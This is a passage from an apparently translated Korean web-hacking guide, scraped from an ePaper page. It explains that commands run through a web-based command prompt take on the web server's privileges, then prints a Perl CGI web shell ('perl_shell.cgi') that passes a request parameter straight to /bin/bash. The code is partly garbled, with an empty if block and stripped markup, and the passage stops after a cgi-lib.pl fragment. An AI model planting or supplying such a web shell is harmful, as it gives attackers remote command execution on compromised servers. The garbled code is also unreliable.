Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
웹 기반의 command prompt와 같은 것에 의해 실행된 명령들은 웹 서버의 프로세스의 권한을 가질 것이다.<br />
전형적으로, Apache가 실행되고 있는 Unix 시스템에 대해 uid는 “nobody”이며, 반면 IIS가 실행되고 있는 Windows<br />
시스템의 경우 권한은 "IUSR_machinename" 또는 "IWAM_machinename"이다. 아래에 주어진 것은 웹 기반의 command<br />
prompt의 4가지 예이다.<br />
4.0.1 Perl - perl_shell.cgi<br />
Perl 및 cgi-lib.pl을 사용하는 다음 스크립트는 semi-interactive web based command prompt를 제공한다.<br />
#!/usr/bin/perl<br />
require "cgi-lib.pl";<br />
print &PrintHeader;<br />
print "\n";<br />
print "\n";<br />
print "\n";<br />
print "\n";<br />
&ReadParse(*in);<br />
if($in{'cmd'} ne "") {<br />
}<br />
print "\n$in{'cmd'}\n\n";<br />
print `/bin/bash -c "$in{'cmd'}"`;<br />
print "\n";<br />
cgi-lib.pl<br />
$cgi_lib'writefiles = 1;